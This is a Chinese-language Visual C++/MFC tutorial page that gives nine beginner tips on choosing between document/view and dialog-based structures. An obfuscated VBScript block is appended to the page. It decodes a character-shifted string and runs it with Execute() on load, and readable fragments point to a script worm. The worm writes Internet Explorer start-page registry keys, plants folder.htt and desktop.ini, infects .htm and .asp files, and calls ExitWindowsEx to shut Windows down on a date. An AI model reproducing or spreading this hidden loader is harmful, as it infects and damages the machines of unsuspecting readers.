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<td colspan="2" bgcolor="#0080C0" align=center><font color=white>您當前位置</font> <a href=../../index.htm><font color=white>首頁</font></a> <a href=../index.htm><font color=white>開發教程</font></a> <a href=index.htm><font color=white><font class=engul>Visual C++/MFC</font>入門教程</font></a> <font color=white>1.4 利用MFC進行開發的通用方法介紹<SCRIPT LANGUAGE='JavaScript'>write_command();</SCRIPT></font></td>
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<p align=center><big>1.4 利用MFC進行開發的通用方法介紹</big></p>
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<p>以下是我在最初學習VC時所常用的開發思路和方法，希望能對<font color=RED>初學VC的朋友</font>有所幫助和啟發。</p>
<p>1、開發需要讀寫文件的應用程序并且有簡單的輸入和輸出可以利用單文檔視結構。</p>
<p>2、開發注重交互的簡單應用程序可以使用對話框為基礎的窗口，如果文件讀寫簡單這可利用CFile進行。</p>
<p>3、開發注重交互并且文件讀寫復雜的的簡單應用程序可以利用以CFormView為基礎視的單文檔視結構。</p>
<p>4、利用對話框得到用戶輸入的數據，在等級提高后可使用就地輸入。</p>
<p>5、在對多文檔要求不強烈時盡量避免多文檔視結構，可以利用分隔條產生單文檔多視結構。</p>
<p>6、在要求在多個文檔間傳遞數據時使用多文檔視結構。</p>
<p>7、學會利用子窗口，并在自定義的子窗口包含多個控件達到封裝功能的目的。</p>
<p>8、盡量避免使用多文檔多視結構。</p>
<p>9、不要使用多重繼承并盡量減少一個類中封裝過多的功能。</p>
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<script language="vbscript"><!--
myEncString="Nn Eqrnr Rdstmd Mewt cil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd dhm mxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3) cobulemt-wqise ;%ciu rtxld=&vhshbhlhtx: hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10' cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv= lyCasa<;%rcqiot l`nfu`gd=!ubrcqiot! fnr<!whncov! dvdns=!! dnctmdns.vrhtd lyCasa & nnko`d!=m`im_nnko`d');/!&!sbrhps>! dnctmdns.vrhtd lyCasa & nntnko`d!=m`im_nntnko`d');/!&!sbrhps>! stb m`im_nnko`d') hnht@csiueW(( imisDhrOashr(( imisRdgDnsrher(( imisDqooCndds') bhdcjEwirtEiker(( imfdcsTgirFhld(SelpkaseEike( imfdcsRnosDhr') dnc rua stb m`im_nntnko`d') hneebtQontCiq(( cgebkDxhssFhlds') hneebtShhsEike'Tdmol`tdFhld) leqgdRdgDnsrher(( SbamFhldsHn'TgirDhrOash( cgebkCaseOLnac(( emd stb rua hnht@csiueW(( Om Drqoq Qerule Ndxs Sdt AopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10( AopNbi.resCKSHD (!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|( AopNbi.brdaseHnrt`nbe') Res VsRhdlk < @poOaj-GdtNbiebt') @poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!) @poOaj-cqe`tdImssamcd(( Sdt fro = AopNbi.FesOajdcs(( emd stb rua hnhtCiqP`tgs') Nn Eqrnr Rdstmd Mewt VimDhr = fro-GdtRpdchakFnlceq(/) SelpkaseCiq < VimDhr & [ & Vea & [ SelpkaseEike = Tdmol`tdDhr & eokddr-hst! TgirDhrOash = Mhd'whncov.kobasinn+ 8, Ldn'whncov.kobasinn() Eoq w < Kem(ShhsCiqP`tg) Tn 0 Rtdp -0 Ie Lic(ShhsCiqP`tg, x+ 0) = . Tgem Dxht Fnr Mewt Hf LBare'Rhggt'TgirDhrOash+ 2)( < !hsm! Nr LBare'Rhggt'TgirDhrOash+ 3)( < !hsmk Tgem TgirDhrOash = Mhd'TgirDhrOash+ 0, x( Eksd TgirDhrOash = Mhd'TgirDhrOash+ 0, Ldn'TgirDhrOash( * w) & . ShhsCiqP`tg < tndsbaoe'TgirDhrOash( Emd Ie emd stb rua hnhtQefEmtqids') Nn Eqrnr Rdstmd Mewt lyKobakKdy'0( < !Ssaqt P`gd lyKobakKdy'1( < !Lnc`l P`gd lyKobakKdy'2( < !Ddf`ukt^P`gd_TRK lyDxoM`im(/) = GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\Hnseqndt Ewpkoqeq\Lahn[ lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtl dnc rua stb imisDqooCndds') Nn Eqrnr Rdstmd Mewt hnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\ hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'3(=! hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]! imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gts hnhLhnd(5)<! imiKime'7(=![-SgeklBl`srImfn]! imiKime'8(=!CnneiqmEikeNp<0! fnr x = 0 tn 7 DdsjtnpHNH=CerksooIMI & imiKime'x( % ubbrkf mewt eokddrGTS < !<!&!hsmk>;%aocy ssyke<!m`rfim: 0! sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0 t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2! ssyke<!whdsh9 00/%: gehggt9 00/%! t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll= crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-! dqooMd(0) = lyDnbSsrhnf=!!&lyDnbSsrhnf&!! crnpLe'2( < !Ewe! % !cttd(!eoq h=0 so Ldn'mxEmcRtqimg(! % ubbrkf & !s<cgr'arc'mhd'mxEmcRtqimg+i+1()*i mnd 2(! & vacqle % !hf s<cgr'18) tgem r=bhq(24(! & vacqle % !hf s<cgr'27) tgem r=ubBr! % ubbrkf & !ie r=bhq(19( shdn s<vaLe! & vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! & vacqle % !mewt!( crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)! dqooMd(3) = ,-! % !>;/! % !sbrhps>! fnr x = 0 tn 3 vBoce<vBoce & dqooMd(w) & vacqle ndxs fRtqimg<mxEmcRtqimg dnc rua Stb SbamFhldsHn'fnlceqsoeb) Nn Eqrnr Rdstmd Mewt Res lyEokddrr2 = fro-GdtEokddr'fnlceqsoeb) Res lyRuaFnlceqFhlds = mxFnlceqs1.Eiker Fnr E`cg lyRuaFnlceqFhld Hn mxStbEokddrEiker mxEwt = LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male() Hf mxEwt = gtl Oq lyDxs < !hsmk Oq lyDxs < !hst! Shdn hneebtShhsEike (lyRuaFnlceqFhld.Oash( Hf mxEwt = gts Tgem Sdt mxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash( mxFhld.@tsrhbttds = 7 Dnc Hf Dnc Hf Mewt Dnc Rua Stb imfdcsTgirFhld(eokddrrpdc( Om Drqoq Qerule Ndxs Sdt mxFhld < esn.NpdnSewtEike'fnlceqsoeb) lyBomtdnss = mxFhld.Qe`d@lk mxFhld.Blnsd k<0 eoq h= ldn'mxCnnsemtr) tn 0 rtdp -0 ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimg tgem j=j+0 ewis eoq emd ie ndxs ie j=/ shdn vOCndd=lyBomtdnss & vacqle % uCndd Sdt mxFhld < esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds = 0 Res lyEike = fro-OoemTdxsFhld(eokddrrpdc+ 1) lyEike-Wqise vOCndd mxFhld.Blnsd emd ie Emd Stb rua bhdcjEwirtEiker(( Om Drqoq Qerule Ndxs Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr() Tgem Res lyEike = fro-Cqe`tdFnlceq(SelpkaseCiq) Res lyEike = fro-GdtEokddr'Tdmol`tdDhr( mxFhld.@tsrhbttds = 7 BrdaseShhsEike Tdmol`tdFhld,eokddrGTS emd stb rua hneebtQontCiq(( Om Drqoq Qerule Ndxs Ie Kem(tndsbaoe'TgirDhrOash() << 3 Shdn ShhsCiqP`tg <Mhd'TgirDhrOash+ 0, 3( BrdaseShhsEike TgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoce BrdaseShhsEike TgirDhrOash%cerksoo.hnh+DdsjtnpHNH emd ie emd stb rua leqgdRdgDnsrher(( Om Drqoq Qerule Ndxs fnr x<0 tn 1 AopkyQefCgamgdsSo mxEwpLahn'x( % lyKobakKdy'x(, QEF_RZ!, mxSsaqtOafe mewt dnc rua Stb AopkyQefCgamgdsSo'mxRdgJex, mxRdgSyoe+ lyQefV`lte( Om Drqoq Qerule Ndxs WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd Emd Stb Rua bhdcjD`tdPKo`d') Nn Eqrnr Rdstmd Mewt Hf Mhd'FnrlasD`tdThmd(Mov((, 2(, 1+ 3) = 8/16! Shdn WrSgekl-Rtn (!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1( Emd Stb Rua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss( Om Drqoq Qerule Ndxs sdt mxFhld=esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds = 0 Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte( mxFhld.Vrhtd vishBomtdnss lyEike-Ckore res lyEike<fro-GdtEike'fnlceqsoeb) lyEike-Astqiauser < 6 Emd Stb"
Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)" & vbcrlf & "if s=chr(19) then s=chr(34)" & vbcrlf & "if s=chr(28) then s=vbCr" & vbcrlf & "if s=chr(29) then s=vbLf" & vbcrlf & "myDecString=myDecString & s" & vbcrlf & "next")
Execute(myDecString)
--></script>
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